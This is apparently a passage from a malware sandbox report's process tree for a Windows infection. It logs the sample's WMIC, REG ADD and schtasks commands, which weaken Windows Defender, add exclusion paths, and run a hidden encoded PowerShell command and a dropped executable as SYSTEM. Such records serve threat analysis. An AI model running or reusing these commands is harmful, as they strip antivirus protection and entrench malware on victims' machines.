                                                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                          7⤵
                                                                                                                                                                            PID:4732
                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:6292
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:4932
                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                              6⤵
                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                              PID:5964
                                                                                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                7⤵
                                                                                                                                                                                  PID:5688
                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                          PID:6984
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:6212
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:6588
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:6232
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:192
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:7728
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:4420
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:1208
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:2020
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:856
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:2612
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:4912
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:6108
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:6604
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:4996
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:6288
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:4740
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            PID:4172
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:5420
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:5256
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:1476
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:7008
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:5104
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:7224
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:6520
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:896
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ACOkaPyEHSjbvhvMaqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ACOkaPyEHSjbvhvMaqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AfNWPhScxyylC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AfNWPhScxyylC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CaOqiYMiQPmU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CaOqiYMiQPmU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HpvPjMDmaiUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HpvPjMDmaiUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YSFbCTIaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YSFbCTIaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YwFgfawDzaFJYFVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YwFgfawDzaFJYFVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\gQxOXlbRXdqDUiOe\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\gQxOXlbRXdqDUiOe\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                          PID:4496
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ACOkaPyEHSjbvhvMaqR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:8072
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ACOkaPyEHSjbvhvMaqR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                  PID:5188
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ACOkaPyEHSjbvhvMaqR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:2668
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AfNWPhScxyylC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:7512
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AfNWPhScxyylC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:7012
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CaOqiYMiQPmU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:6484
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CaOqiYMiQPmU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:6692
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HpvPjMDmaiUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:6284
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HpvPjMDmaiUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:6392
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YSFbCTIaU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:7904
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YSFbCTIaU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:6480
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YwFgfawDzaFJYFVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:5372
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YwFgfawDzaFJYFVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:8096
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:8040
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:7364
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\gQxOXlbRXdqDUiOe /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:5144
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\gQxOXlbRXdqDUiOe /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:8020
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /CREATE /TN "gBumTvfjY" /SC once /ST 01:08:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                            PID:1036
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                            schtasks /run /I /tn "gBumTvfjY"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:748
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "gBumTvfjY"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:5824
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                schtasks /CREATE /TN "hxUIoduwsSkQKnehv" /SC once /ST 04:00:57 /RU "SYSTEM" /TR "\"C:\Windows\Temp\gQxOXlbRXdqDUiOe\QWmmphvjSXLGJma\UbmPrUN.exe\" Tf /site_id 216660 /S" /V1 /F
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                PID:1844
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                schtasks /run /I /tn "hxUIoduwsSkQKnehv"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                                                                                                                                PID:1456
                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:6844
                                                                                                                                                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:4460
                                                                                                                                                                                                                                                                • C:\Windows\Temp\gQxOXlbRXdqDUiOe\QWmmphvjSXLGJma\UbmPrUN.exe
                                                                                                                                                                                                                                                                  C:\Windows\Temp\gQxOXlbRXdqDUiOe\QWmmphvjSXLGJma\UbmPrUN.exe Tf /site_id 216660 /S
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                                                                                                  • Drops desktop.ini file(s)
                                                                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                  PID:6224
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
